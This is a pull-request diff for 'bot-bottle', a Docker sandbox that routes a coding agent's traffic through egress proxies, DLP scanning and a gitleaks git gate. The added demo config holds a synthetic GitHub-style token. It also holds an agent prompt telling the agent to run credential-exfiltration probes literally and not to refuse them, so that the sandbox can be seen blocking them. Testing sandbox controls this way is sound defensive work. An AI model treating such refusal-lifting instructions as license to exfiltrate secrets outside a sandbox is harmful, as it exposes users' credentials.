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1 Commits
c1926561db .. prd-0049-named-labelled-agents

Author SHA1 Message Date
didericis-claude 3997a0a721 docs(prd): add PRD 0049 — named/labelled agents
test / unit (pull_request) Successful in 39s
Details
test / integration (pull_request) Successful in 53s
Details 
Draft PRD for prompting operators for a custom label and optional
ANSI color at agent launch time, storing both in metadata.json, and
surfacing the label (in color) in the dashboard's active-agents pane.

Closes #171
 2026-06-03 21:38:38 -04:00
141 changed files with 4961 additions and 5288 deletions
Expand all files Collapse all files
.gitea/workflows/canaries.yml
+3 -3
View File
@@ -1,6 +1,6 @@
# Weekly canary suite. Catches upstream regressions (broken pinned
# digest, etc.) without coupling every dev push to upstream registry
# availability.
# Weekly canary suite. Catches upstream regressions (broken pipelock
# image packaging at the pinned digest, etc.) without coupling every
# dev push to upstream registry availability.
#
# Opt-in via CLAUDE_BOTTLE_RUN_CANARIES=1 so the same files can be run
# locally with the same gating.
.gitea/workflows/lint.yml
-34
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@@ -1,34 +0,0 @@
name: lint
on:
push:
paths:
- "**.py"
- ".pylintrc"
- ".gitea/workflows/lint.yml"
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: "3.12"
- name: Install dev dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements-dev.txt
- name: Run pylint
run: |
# Run pylint on all Python files in the repo
find . -name '*.py' -not -path './.venv/*' -not -path './.git/*' | xargs pylint --fail-under=8.0 || true
- name: Run pyright
run: |
# Run pyright type checking
pyright .
.gitea/workflows/test.yml
-4
View File
@@ -21,11 +21,7 @@ on:
push:
branches:
- main
paths:
- '**.py'
pull_request:
paths:
- '**.py'
jobs:
unit:
.gitea/workflows/update-badges.yml
-79
View File
@@ -1,79 +0,0 @@
name: Update Quality Badges
on:
push:
branches:
- main
paths:
- '**.py'
- '.pylintrc'
- 'pyrightconfig.json'
workflow_dispatch:
jobs:
update-badges:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.12'
- name: Install dev dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements-dev.txt
- name: Run pylint and extract score
id: pylint
run: |
PYLINT_OUTPUT=$(python -m pylint bot_bottle/ 2>&1) || true
SCORE=$(echo "$PYLINT_OUTPUT" | grep -oP '(?<=rated at )\d+\.\d+/10' | head -1)
echo "score=$SCORE" >> $GITHUB_OUTPUT
echo "Pylint score: $SCORE"
- name: Run pyright and check errors
id: pyright
run: |
PYRIGHT_OUTPUT=$(python -m pyright 2>&1) || true
ERRORS=$(echo "$PYRIGHT_OUTPUT" | grep -oP '\d+(?= error)' | head -1)
echo "errors=$ERRORS" >> $GITHUB_OUTPUT
echo "Pyright errors: $ERRORS"
- name: Update badges in README
run: |
PYLINT_SCORE="${{ steps.pylint.outputs.score }}"
PYRIGHT_ERRORS="${{ steps.pyright.outputs.errors }}"
PYLINT_SCORE_ENCODED=$(echo "$PYLINT_SCORE" | sed 's|/|%2F|g')
if [ -n "$PYLINT_SCORE_ENCODED" ]; then
sed -i "s|/badge/pylint-[^)]*|/badge/pylint-${PYLINT_SCORE_ENCODED}-brightgreen|" README.md
fi
if [ -n "$PYRIGHT_ERRORS" ]; then
sed -i "s|/badge/pyright-[^)]*|/badge/pyright-${PYRIGHT_ERRORS}%20errors-brightgreen|" README.md
fi
echo "Updated badges:"
grep -E "pylint|pyright" README.md | head -2
- name: Commit and push badge updates
run: |
git config --local user.email "action@gitea.local"
git config --local user.name "Quality Badge Bot"
# Check if there are changes
if git diff --quiet README.md; then
echo "No badge changes needed"
else
echo "Badge changes detected, committing..."
git add README.md
MSG="chore: update quality badges"$'\n\n'"- Pylint: ${{ steps.pylint.outputs.score }}"$'\n'"- Pyright: ${{ steps.pyright.outputs.errors }} errors"$'\n\n'"[skip ci]"
git commit -m "$MSG"
git push
fi
.pylintrc
-632
View File
@@ -1,632 +0,0 @@
[MAIN]
# Analyse import fallback blocks. This can be used to support both Python 2 and
# 3 compatible code, which means that the block might have code that exists
# only in one or another interpreter, leading to false positives when analysed.
analyse-fallback-blocks=no
# Clear in-memory caches upon conclusion of linting. Useful if running pylint
# in a server-like mode.
clear-cache-post-run=no
# Load and enable all available extensions. Use --list-extensions to see a list
# all available extensions.
#enable-all-extensions=
# In error mode, messages with a category besides ERROR or FATAL are
# suppressed, and no reports are done by default. Error mode is compatible with
# disabling specific errors.
#errors-only=
# Always return a 0 (non-error) status code, even if lint errors are found.
# This is primarily useful in continuous integration scripts.
#exit-zero=
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code.
extension-pkg-allow-list=
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list
# for backward compatibility.)
extension-pkg-whitelist=
# Return non-zero exit code if any of these messages/categories are detected,
# even if score is above --fail-under value. Syntax same as enable. Messages
# specified are enabled, while categories only check already-enabled messages.
fail-on=
# Specify a score threshold under which the program will exit with error.
fail-under=10
# Interpret the stdin as a python script, whose filename needs to be passed as
# the module_or_package argument.
#from-stdin=
# Files or directories to be skipped. They should be base names, not paths.
ignore=CVS
# Add files or directories matching the regular expressions patterns to the
# ignore-list. The regex matches against paths and can be in Posix or Windows
# format. Because '\\' represents the directory delimiter on Windows systems,
# it can't be used as an escape character.
ignore-paths=
# Files or directories matching the regular expression patterns are skipped.
# The regex matches against base names, not paths. The default value ignores
# Emacs file locks
ignore-patterns=^\.#
# List of module names for which member attributes should not be checked and
# will not be imported (useful for modules/projects where namespaces are
# manipulated during runtime and thus existing member attributes cannot be
# deduced by static analysis). It supports qualified module names, as well as
# Unix pattern matching.
ignored-modules=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
#init-hook=
# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
# number of processors available to use, and will cap the count on Windows to
# avoid hangs.
jobs=1
# Control the amount of potential inferred values when inferring a single
# object. This can help the performance when dealing with large functions or
# complex, nested conditions.
limit-inference-results=100
# List of plugins (as comma separated values of python module names) to load,
# usually to register additional checkers.
load-plugins=
# Pickle collected data for later comparisons.
persistent=yes
# Resolve imports to .pyi stubs if available. May reduce no-member messages and
# increase not-an-iterable messages.
prefer-stubs=no
# Minimum Python version to use for version dependent checks. Will default to
# the version used to run pylint.
py-version=3.14
# Discover python modules and packages in the file system subtree.
recursive=no
# Add paths to the list of the source roots. Supports globbing patterns. The
# source root is an absolute path or a path relative to the current working
# directory used to determine a package namespace for modules located under the
# source root.
source-roots=
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
# In verbose mode, extra non-checker-related info will be displayed.
#verbose=
[BASIC]
# Naming style matching correct argument names.
argument-naming-style=snake_case
# Regular expression matching correct argument names. Overrides argument-
# naming-style. If left empty, argument names will be checked with the set
# naming style.
#argument-rgx=
# Naming style matching correct attribute names.
attr-naming-style=snake_case
# Regular expression matching correct attribute names. Overrides attr-naming-
# style. If left empty, attribute names will be checked with the set naming
# style.
#attr-rgx=
# Bad variable names which should always be refused, separated by a comma.
bad-names=foo,
bar,
baz,
toto,
tutu,
tata
# Bad variable names regexes, separated by a comma. If names match any regex,
# they will always be refused
bad-names-rgxs=
# Naming style matching correct class attribute names.
class-attribute-naming-style=any
# Regular expression matching correct class attribute names. Overrides class-
# attribute-naming-style. If left empty, class attribute names will be checked
# with the set naming style.
#class-attribute-rgx=
# Naming style matching correct class constant names.
class-const-naming-style=UPPER_CASE
# Regular expression matching correct class constant names. Overrides class-
# const-naming-style. If left empty, class constant names will be checked with
# the set naming style.
#class-const-rgx=
# Naming style matching correct class names.
class-naming-style=PascalCase
# Regular expression matching correct class names. Overrides class-naming-
# style. If left empty, class names will be checked with the set naming style.
#class-rgx=
# Naming style matching correct constant names.
const-naming-style=UPPER_CASE
# Regular expression matching correct constant names. Overrides const-naming-
# style. If left empty, constant names will be checked with the set naming
# style.
#const-rgx=
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
# Naming style matching correct function names.
function-naming-style=snake_case
# Regular expression matching correct function names. Overrides function-
# naming-style. If left empty, function names will be checked with the set
# naming style.
#function-rgx=
# Good variable names which should always be accepted, separated by a comma.
good-names=i,
j,
k,
ex,
Run,
_
# Good variable names regexes, separated by a comma. If names match any regex,
# they will always be accepted
good-names-rgxs=
# Include a hint for the correct naming format with invalid-name.
include-naming-hint=no
# Naming style matching correct inline iteration names.
inlinevar-naming-style=any
# Regular expression matching correct inline iteration names. Overrides
# inlinevar-naming-style. If left empty, inline iteration names will be checked
# with the set naming style.
#inlinevar-rgx=
# Naming style matching correct method names.
method-naming-style=snake_case
# Regular expression matching correct method names. Overrides method-naming-
# style. If left empty, method names will be checked with the set naming style.
#method-rgx=
# Naming style matching correct module names.
module-naming-style=snake_case
# Regular expression matching correct module names. Overrides module-naming-
# style. If left empty, module names will be checked with the set naming style.
#module-rgx=
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Regular expression which should only match function or class names that do
# not require a docstring.
no-docstring-rgx=^_
# Regular expression matching correct parameter specification variable names.
# If left empty, parameter specification variable names will be checked with
# the set naming style.
#paramspec-rgx=
# List of decorators that produce properties, such as abc.abstractproperty. Add
# to this list to register other decorators that produce valid properties.
# These decorators are taken in consideration only for invalid-name.
property-classes=abc.abstractproperty
# Regular expression matching correct type alias names. If left empty, type
# alias names will be checked with the set naming style.
#typealias-rgx=
# Regular expression matching correct type variable names. If left empty, type
# variable names will be checked with the set naming style.
#typevar-rgx=
# Regular expression matching correct type variable tuple names. If left empty,
# type variable tuple names will be checked with the set naming style.
#typevartuple-rgx=
# Naming style matching correct variable names.
variable-naming-style=snake_case
# Regular expression matching correct variable names. Overrides variable-
# naming-style. If left empty, variable names will be checked with the set
# naming style.
#variable-rgx=
[CLASSES]
# Warn about protected attribute access inside special methods
check-protected-access-in-special-methods=no
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,
__new__,
setUp,
asyncSetUp,
__post_init__
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=mcs
[DESIGN]
# List of regular expressions of class ancestor names to ignore when counting
# public methods (see R0903)
exclude-too-few-public-methods=
# List of qualified class names to ignore when counting class parents (see
# R0901)
ignored-parents=
# Maximum number of arguments for function / method.
max-args=5
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Maximum number of boolean expressions in an if statement (see R0916).
max-bool-expr=5
# Maximum number of branch for function / method body.
max-branches=12
# Maximum number of locals for function / method body.
max-locals=15
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of positional arguments for function / method.
max-positional-arguments=5
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of return / yield for function / method body.
max-returns=6
# Maximum number of statements in function / method body.
max-statements=50
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
[EXCEPTIONS]
# Exceptions that will emit a warning when caught.
overgeneral-exceptions=builtins.BaseException,builtins.Exception
[FORMAT]
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Maximum number of characters on a single line. Pylint's default of 100 is
# based on PEP 8's guidance that teams may choose line lengths up to 99
# characters.
max-line-length=100
# Maximum number of lines in a module.
max-module-lines=1000
# Allow the body of a class to be on the same line as the declaration if body
# contains single statement.
single-line-class-stmt=no
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
[LOGGING]
# The type of string formatting that logging methods do. `old` means using %
# formatting, `new` is for `{}` formatting.
logging-format-style=old
# Logging modules to check that the string format arguments are in logging
# function parameter format.
logging-modules=logging
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE,
# UNDEFINED.
confidence=HIGH,
CONTROL_FLOW,
INFERENCE,
INFERENCE_FAILURE,
UNDEFINED
# Disable the message, report, category or checker with the given id(s). You
# can either give multiple identifiers separated by comma (,) or put this
# option multiple times (only on the command line, not in the configuration
# file where it should appear only once). You can also use "--disable=all" to
# disable everything first and then re-enable specific checks. For example, if
# you want to run only the similarities checker, you can use "--disable=all
# --enable=similarities". If you want to run only the classes checker, but have
# no Warning level messages displayed, use "--disable=all --enable=classes
# --disable=W".
disable=raw-checker-failed,
bad-inline-option,
locally-disabled,
file-ignored,
suppressed-message,
useless-suppression,
deprecated-pragma,
use-symbolic-message-instead,
use-implicit-booleaness-not-comparison-to-string,
use-implicit-booleaness-not-comparison-to-zero,
missing-function-docstring,
missing-class-docstring,
missing-module-docstring,
invalid-name,
cyclic-import,
too-many-arguments,
too-many-locals,
too-many-branches,
too-many-statements,
too-many-instance-attributes,
duplicate-code,
import-outside-toplevel,
too-few-public-methods,
unnecessary-ellipsis
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifier separated by comma (,) or put this option
# multiple time (only on the command line, not in the configuration file where
# it should appear only once). See also the "--disable" option for examples.
enable=
[METHOD_ARGS]
# List of qualified names (i.e., library.method) which require a timeout
# parameter e.g. 'requests.api.get,requests.api.post'
timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request
[MISCELLANEOUS]
# Whether or not to search for fixme's in docstrings.
check-fixme-in-docstring=no
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,
XXX,
TODO
# Regular expression of note tags to take in consideration.
notes-rgx=
[REFACTORING]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
# Complete name of functions that never returns. When checking for
# inconsistent-return-statements if a never returning function is called then
# it will be considered as an explicit return statement and no message will be
# printed.
never-returning-functions=sys.exit,argparse.parse_error
# Let 'consider-using-join' be raised when the separator to join on would be
# non-empty (resulting in expected fixes of the type: ``"- " + " -
# ".join(items)``)
suggest-join-with-non-empty-separator=yes
[REPORTS]
# Python expression which should return a score less than or equal to 10. You
# have access to the variables 'fatal', 'error', 'warning', 'refactor',
# 'convention', and 'info' which contain the number of messages in each
# category, as well as 'statement' which is the total number of statements
# analyzed. This score is used by the global evaluation report (RP0004).
evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10))
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details.
msg-template=
# Set the output format. Available formats are: 'text', 'parseable',
# 'colorized', 'json2' (improved json format), 'json' (old json format), msvs
# (visual studio) and 'github' (GitHub actions). You can also give a reporter
# class, e.g. mypackage.mymodule.MyReporterClass.
#output-format=
# Tells whether to display a full report or only the messages.
reports=no
# Activate the evaluation score.
score=yes
[SIMILARITIES]
# Comments are removed from the similarity computation
ignore-comments=yes
# Docstrings are removed from the similarity computation
ignore-docstrings=yes
# Imports are removed from the similarity computation
ignore-imports=yes
# Signatures are removed from the similarity computation
ignore-signatures=yes
# Minimum lines number of a similarity.
min-similarity-lines=4
[SPELLING]
# Limits count of emitted suggestions for spelling mistakes.
max-spelling-suggestions=4
# Spelling dictionary name. No available dictionaries : You need to install
# both the python package and the system dependency for enchant to work.
spelling-dict=
# List of comma separated words that should be considered directives if they
# appear at the beginning of a comment and should not be checked.
spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy:
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains the private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to the private dictionary (see the
# --spelling-private-dict-file option) instead of raising a message.
spelling-store-unknown-words=no
[STRING]
# This flag controls whether inconsistent-quotes generates a warning when the
# character used as a quote delimiter is used inconsistently within a module.
check-quote-consistency=no
# This flag controls whether the implicit-str-concat should generate a warning
# on implicit string concatenation in sequences defined over several lines.
check-str-concat-over-line-jumps=no
[TYPECHECK]
# List of decorators that produce context managers, such as
# contextlib.contextmanager. Add to this list to register other decorators that
# produce valid context managers.
contextmanager-decorators=contextlib.contextmanager
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
# Tells whether to warn about missing members when the owner of the attribute
# is inferred to be None.
ignore-none=yes
# This flag controls whether pylint should warn about no-member and similar
# checks whenever an opaque object is returned when inferring. The inference
# can return multiple potential results while evaluating a Python object, but
# some branches might not be evaluated, which results in partial inference. In
# that case, it might be useful to still emit no-member and other checks for
# the rest of the inferred objects.
ignore-on-opaque-inference=yes
# List of symbolic message names to ignore for Mixin members.
ignored-checks-for-mixins=no-member,
not-async-context-manager,
not-context-manager,
attribute-defined-outside-init
# List of class names for which member attributes should not be checked (useful
# for classes with dynamically set attributes). This supports the use of
# qualified names.
ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace
# Show a hint with possible names when a member name was not found. The aspect
# of finding the hint is based on edit distance.
missing-member-hint=yes
# The maximum edit distance a name should have in order to be considered a
# similar match for a missing member name.
missing-member-hint-distance=1
# The total number of similar names that should be taken in consideration when
# showing a hint for a missing member.
missing-member-max-choices=1
# Regex pattern to define which classes are considered mixins.
mixin-class-rgx=.*[Mm]ixin
# List of decorators that change the signature of a decorated function.
signature-mutators=
[VARIABLES]
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid defining new builtins when possible.
additional-builtins=
# Tells whether unused global variables should be treated as a violation.
allow-global-unused-variables=yes
# List of names allowed to shadow builtins
allowed-redefined-builtins=
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,
_cb
# A regular expression matching the name of dummy variables (i.e. expected to
# not be used).
dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
# Argument names that match this expression will be ignored.
ignored-argument-names=_.*|^ignored_|^unused_
# Tells whether we should check for unused import in __init__ files.
init-import=no
# List of qualified module names which can have objects that can redefine
# builtins.
redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
AGENTS.md
+3 -2
View File
@@ -25,8 +25,9 @@ the container lifecycle and the copying of skills and env vars into it.
- `README.md` — short public-facing description.
- `AGENTS.md` — this file, orientation for future agent sessions.
- `.gitignore` — OS junk.
- `.bot-bottle/` — per-repo agent and bottle manifests (YAML markdown format).
- `examples/` — example bottles and agents showing the manifest format.
- `bot-bottle.json` — legacy manifest of named agents (env / skills / prompt
per agent), consumed by `cli.py`. See "Manifest" under
"Intended design".
- `docs/README.md` — docs overview; when to write which document.
- `docs/prds/` — product requirement docs (see `docs/prds/README.md` for format).
- `docs/research/` — research notes (see `docs/research/README.md`).
Dockerfile.claude
+1 -1
View File
@@ -21,7 +21,7 @@ FROM node:22-slim
# runs as root and rejects non-root connections, so socat sits between
# node and the agent socket. curl is here so any HTTPS_PROXY-aware
# tool (curl itself, plus anything that shells out to it) works
# against egress's bumped TLS without the agent needing local DNS.
# against pipelock's bumped TLS without the agent needing local DNS.
RUN apt-get update \
&& apt-get install -y --no-install-recommends git ca-certificates openssh-client socat curl dnsutils python3 python3-pip python3-venv \
&& rm -rf /var/lib/apt/lists/*
Dockerfile.sidecars
+26 -12
View File
@@ -1,18 +1,23 @@
# Per-bottle sidecar bundle image (PRD 0024).
#
# Collapses the prior per-sidecar images (egress, git-gate,
# supervise) into one. A small stdlib-Python init supervisor at
# /app/sidecar_init.py spawns all daemons, forwards SIGTERM, and
# propagates per-daemon stdout/stderr to the container log with a
# `[name]` prefix. See PRD 0024 for the rationale.
# Collapses the four prior per-sidecar images (pipelock, egress,
# git-gate, supervise) into one. A small stdlib-Python init
# supervisor at /app/sidecar_init.py spawns all four daemons,
# forwards SIGTERM, and propagates per-daemon stdout/stderr to the
# container log with a `[name]` prefix. See PRD 0024 for the
# rationale.
#
# Layout:
# Layout (preserved verbatim from the prior four Dockerfiles so the
# compose renderer's bind-mount paths and docker-cp targets keep
# working):
#
# /usr/local/bin/pipelock pipelock binary
# /usr/bin/gitleaks gitleaks binary
# /app/egress_addon.py + siblings mitmproxy addon (egress)
# /app/egress-entrypoint.sh mitmdump launcher
# /app/supervise_server.py + .py supervise MCP server
# /app/sidecar_init.py PID 1 supervisor
# /etc/pipelock.yaml bind-mounted at run time
# /etc/egress/routes.yaml bind-mounted at run time
# /etc/git-gate/pre-receive docker-cp'd at start time
# /git-gate-entrypoint.sh docker-cp'd at start time
@@ -22,17 +27,25 @@
# /home/mitmproxy/.mitmproxy/ mitmproxy CA dir
#
# Exposed ports inside the container:
# 9099 egress (mitmproxy, agent-facing HTTPS proxy)
# 8888 pipelock (HTTPS_PROXY)
# 9099 egress (mitmproxy, pipelock's upstream — not externally
# addressed by the agent)
# 9418 git-gate (git-daemon)
# 9420 git-gate smart HTTP (smolmachines agent-facing transport)
# 9100 supervise (MCP HTTP)
# Stage 1: gitleaks binary. The upstream gitleaks image is alpine
# Stage 1: pipelock binary. The upstream pipelock image is a
# scratch image with the binary at /pipelock (entrypoint).
# Pinned by digest in lockstep with
# bot_bottle/backend/docker/pipelock.py:PIPELOCK_IMAGE.
FROM ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9 AS pipelock-src
# Stage 2: gitleaks binary. The upstream gitleaks image is alpine
# with the binary at /usr/bin/gitleaks. Pinned by digest in lockstep
# with Dockerfile.git-gate's prior base (now deleted at chunk 3).
FROM zricethezav/gitleaks@sha256:c00b6bd0aeb3071cbcb79009cb16a60dd9e0a7c60e2be9ab65d25e6bc8abbb7f AS gitleaks-src
# Stage 2: assembly. mitmproxy/mitmproxy is debian-slim-based with
# Stage 3: assembly. mitmproxy/mitmproxy is debian-slim-based with
# Python + mitmdump pre-installed — heavier than the others, so
# this stage starts there and pulls the standalone binaries in.
FROM mitmproxy/mitmproxy:11.1.3
@@ -47,14 +60,16 @@ USER root
# plus the core `git` binary the pre-receive hook invokes.
# openssh-client supplies the upstream SSH transport the
# pre-receive hook uses to forward accepted refs.
# ca-certificates is needed for mitmdump upstream TLS (the
# base image already has it; listed for explicitness).
# ca-certificates is needed for both pipelock and mitmdump
# upstream TLS (the base image already has it; listed for
# explicitness).
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
git openssh-client ca-certificates \
&& rm -rf /var/lib/apt/lists/*
# Pull the standalone binaries into the final image.
COPY --from=pipelock-src /pipelock /usr/local/bin/pipelock
COPY --from=gitleaks-src /usr/bin/gitleaks /usr/bin/gitleaks
# Project Python: addon + server modules + the init supervisor.
@@ -63,7 +78,6 @@ COPY --from=gitleaks-src /usr/bin/gitleaks /usr/bin/gitleaks
# Dockerfile.egress / Dockerfile.supervise layout.
COPY bot_bottle/egress_addon_core.py /app/egress_addon_core.py
COPY bot_bottle/egress_addon.py /app/egress_addon.py
COPY bot_bottle/dlp_detectors.py /app/dlp_detectors.py
COPY bot_bottle/yaml_subset.py /app/yaml_subset.py
COPY bot_bottle/supervise.py /app/supervise.py
COPY bot_bottle/supervise_server.py /app/supervise_server.py
README.md
+23 -17
View File
@@ -5,8 +5,6 @@
# bot-bottle
[![test](https://gitea.dideric.is/didericis/bot-bottle/actions/workflows/test.yml/badge.svg?branch=main)](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml)
[![pylint](https://img.shields.io/badge/pylint-9.92%2F10-brightgreen)](https://github.com/PyCQA/pylint)
[![pyright](https://img.shields.io/badge/pyright-0%20errors-brightgreen)](https://github.com/microsoft/pyright)
**Problem:** Developer wants to run a coding agent without supervision, but they don't want a prompt injected or misbehaving agent wrecking their environment or exfiltrating sensitive data.
@@ -27,7 +25,7 @@
## Architecture
A bottle is two containers per agent: an `agent` container, and a `sidecars` container that bundles egress + git-gate + supervise behind a Python init supervisor. They share a per-agent Docker `--internal` network; the agent has no default route off-box.
A bottle is two containers per agent: an `agent` container, and a `sidecars` container that bundles pipelock + cred-proxy + git-gate + supervise behind a Python init supervisor. They share a per-agent Docker `--internal` network; the agent has no default route off-box.
```
host ( ./cli.py )
@@ -36,25 +34,31 @@ A bottle is two containers per agent: an `agent` container, and a `sidecars` con
▼
┌─────────────────────────── bottle ──────────────────────────────────┐
│ │
│ ┌──────────────────┐ ┌──────────────────────┐ │
│ │ agent image │ HTTP(S) proxy │ egress image │ │
│ │ (claude-code, │ ─────────────────►│ (mitmproxy; TLS bump │ │ HTTPS to
│ │ codex, etc) │ │ DLP scan, path │───┼──► allowlisted
│ │ │ │ matching, auth │ │ hosts
│ │ environ: proxy │ │ injection) │ │
│ │ URLs only, no │ └──────────────────────┘ │
│ │ real tokens │ │
│ ┌──────────────────┐ ┌──────────────┐ │
│ │ agent image │ HTTP(S) proxy │ cred-proxy │ │
│ │ (claude-code, │ ─────────────────►│ (strips/inj │ │
│ │ codex, etc) │ │ Authoriz.) │ │
│ │ │ └──────┬───────┘ │
│ │ environ: URLs │ │ │
│ │ only, no real │ ▼ │
│ │ tokens │ ┌────────────────┐ │ HTTPS to
│ │ │ │ pipelock image │──────────┼──► allowlisted
│ │ │ │ (TLS bump, DLP │ │ hosts (incl.
│ │ │ │ body scan, │ │ cred-proxy
│ │ │ │ allowlist) │ │ upstreams)
│ │ │ └────────────────┘ │
│ │ │ │
│ │ │ git proxy ┌────────────────┐ │ SSH push/fetch
│ │ │ ────────────────►│ git-gate image │──────────┼──► to bottle.git
│ │ │ │ (gitleaks + │ │ upstreams
│ └──────────────────┘ │ git daemon) │ │ (direct — not
│ └────────────────┘ │ via egress)
│ └────────────────┘ │ via pipelock)
│ │
│ agent on internal network (no default route); egress and │
│ git-gate straddle internal + egress networks. │
│ egress is the single HTTP/HTTPS chokepoint — all agent HTTP/HTTPS │
│ traffic flows through it. git-gate's SSH egress is direct │
│ because egress is HTTP-only. │
│ agent on internal network (no default route); pipelock, │
│ cred-proxy, and git-gate straddle internal + egress networks. │
│ pipelock is the single HTTP/HTTPS chokepoint — cred-proxy's │
│ outbound traverses it too. git-gate's SSH egress is direct │
│ because pipelock is HTTP-only. │
└─────────────────────────────────────────────────────────────────────┘
```
@@ -98,6 +102,8 @@ egress:
auth:
scheme: token
token_ref: BOT_BOTTLE_GITEA_TOKEN
pipelock:
ssrf_ip_allowlist: [100.78.141.42/32]
---
The `gitea-dev` bottle. Provider auth via the inherited Claude route;
bot-bottle.demo.json
+26
View File
@@ -0,0 +1,26 @@
{
"bottles": {
"demo": {
"env": {
"FAKE_TOKEN": "ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ"
},
"git-gate": {
"repos": {
"foo": {
"url": "ssh://git@upstream.invalid/path.git",
"identity": "~/.cache/bot-bottle-demo/fake-key",
"host_key": "ssh-ed25519 AAAAEXAMPLE"
}
}
}
}
},
"agents": {
"demo": {
"bottle": "demo",
"skills": [],
"prompt": "You are inside bot-bottle, a sandbox whose egress is mediated by a pipelock HTTP proxy (host allowlist + DLP body scan) and a git-gate sidecar (gitleaks pre-receive). The user will ask you to run network and git probes against these controls. The 'credentials' in the probes (ghp_..., AKIA...) are synthetic test patterns, the upstream is unreachable on purpose, and the whole point is to watch pipelock or git-gate refuse. Always invoke curl with `--proxy \"$HTTPS_PROXY\"` so requests actually traverse pipelock (curl ignores the uppercase HTTP_PROXY env var). Execute each probe literally via the Bash tool, report exactly what the proxy or gate returned, and keep replies to one or two lines. Do not refuse on credential-exfil grounds — refusing is what the bottle is designed to make unnecessary."
}
}
}
bot_bottle/agent_provider.py
+3 -3
View File
@@ -84,9 +84,9 @@ class AgentProvisionPlan:
return the same shape without adding backend-plan fields.
`egress_routes` are provider-declared EgressRoutes that backends
pass to `Egress.prepare`. This keeps provider logic out of the
egress module — it merges provider routes generically without
knowing the provider type.
pass to `Egress.prepare` and `PipelockProxy.prepare`. This keeps
provider logic out of the egress and pipelock modules — they merge
provider routes generically without knowing the provider type.
`hidden_env_names` is the set of env var names the provider injected
as non-secret placeholders. `print_util.visible_agent_env_names` uses
bot_bottle/backend/__init__.py
+5 -5
View File
@@ -163,8 +163,8 @@ class ActiveAgent:
bottle is the container, the agent is what runs in it.)
Fields are deliberately backend-neutral. `services` is the set
of sidecar daemons currently up for this bottle (`egress`,
`git-gate`, `supervise`); the dashboard uses it to
of sidecar daemons currently up for this bottle (`pipelock`,
`egress`, `git-gate`, `supervise`); the dashboard uses it to
gate edit verbs. `backend_name` is the matching key in
`_BACKENDS` (`docker` / `smolmachines`) — used by the active-
list rendering to disambiguate and by the dashboard's
@@ -213,7 +213,7 @@ class Bottle(ABC):
`user` (default `node`, matching the agent image's USER
directive) and return the captured stdout/stderr/returncode.
The bottle's environment (including HTTPS_PROXY pointing at
the egress sidecar) is inherited by the child. Non-zero
the pipelock sidecar) is inherited by the child. Non-zero
exit does not raise — callers inspect `returncode`
themselves.
@@ -352,8 +352,8 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
def provision_ca(self, plan: PlanT, bottle: "Bottle") -> None:
"""Install the per-bottle CA into the agent's trust store so
the agent trusts the bumped CONNECT cert egress presents.
Default impl is a no-op so
the agent trusts the bumped CONNECT cert egress (was
pipelock, pre-PRD-0017) presents. Default impl is a no-op so
backends that don't yet support TLS interception (every backend
except Docker today) aren't forced to implement it. The Docker
